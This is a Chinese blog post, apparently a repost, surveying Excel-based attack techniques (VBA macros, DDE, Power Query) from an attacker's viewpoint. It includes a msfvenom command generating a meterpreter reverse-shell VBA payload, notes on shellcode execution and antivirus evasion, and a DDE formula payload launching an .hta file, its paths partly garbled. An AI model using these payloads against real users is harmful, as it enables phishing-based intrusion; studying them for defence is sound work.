zoukankan      html  css  js  c++  java
  • 关于Excel的攻击探讨

    近些年来APT趋势增长,有更多的恶意样本流传于世,这篇文章便初步探讨下Excel的一些攻击。站在攻击者的视角查看一些利用手法,知己知彼方能百战不殆。

    随着趋势的发展,office文件一套成为了办公的需要,但同时软件的安全,也成为了企业部门保护信息重症之地。许多组织机构对企业发起APT攻击,其中最为常见的手法有鱼叉钓鱼、水坑攻击等。

    在市面上流传的Excel样本,大都数都是如下攻击手法:

    • office宏攻击

    • DDE攻击

    • Power Query DDE (DDE的一种)

    office宏攻击(Macros)

    所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。

    可以通过Kali的msfvenom生成vba恶意代码:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f vba -o shellcode.vba

     创建一个xls文件,并开启开发者模式

     找到宏

     创建一个宏

     shellcode利用相关API函数进行线程创建、内存申请、内存拷贝以及最后执行shellcode

    • CreateThread 创建线程
    • VirtualAlloc 申请虚拟内存空间
    • RtlMoveMemory 拷贝内存

    大都数组织都在此处将shellcode通过运行自解密、花指令等混淆的方式来规避AV(反杀毒软件)

    DDE攻击

    动态数据交换(DDE),是在Windows操作系统中实现的客户端/服务端通信的方法。

    当我们打开文件时,Excel会对文件的每一行分别进行检查。在对各行的内容进行分隔并复制到适当的单元格之前,Excel会检查该行是否以其命令字符开头,即用于内部函数的字符:“=”、“+”、“ - ”和“@”。根据命令前缀的不同,可能会发生以下两种情况之一:

    1.如果前缀是“=”、“+”或“ - ”,则将其余部分视为表达式

    2.如果前缀为“@”,Excel将搜索内部函数(例如SUM())并将参数解释为表达式

    实际上,命令本身也是一种表达式。

     执行外部命令

     最终弹出calc

     同时可以利用字符串拼接的特性构造payload

    =MSEXCEL|'......WindowsSystem32
    undll32.exe url.dll,FileProtocolHandler  c:	emppayload.hta'!_xlbgnm.A1

    Power Query

    惭愧,Power Query的方式一直没有复现成功,不知为何一直访问失败。这里附上网上的Power Query技术分析:https://xz.aliyun.com/t/5514

    感兴趣的朋友可以去看看

  • 相关阅读:
    控件属性大全(持续更新)
    STM32F0使用LL库实现UART接收
    STM32F0 LL库IIC第二地址配置错误
    C# 抽象类小谈
    DevExpress 动态换肤
    DevExpress ChartControl大数据加载时有哪些性能优化方法
    Devexpress WPF ChartControl 多Y轴
    Lambda表达式的使用
    Prism--MVVM 之Command
    WPF Toolkit Chart--动态换列
  • 原文地址:https://www.cnblogs.com/wh4am1/p/12384606.html
Copyright © 2011-2022 走看看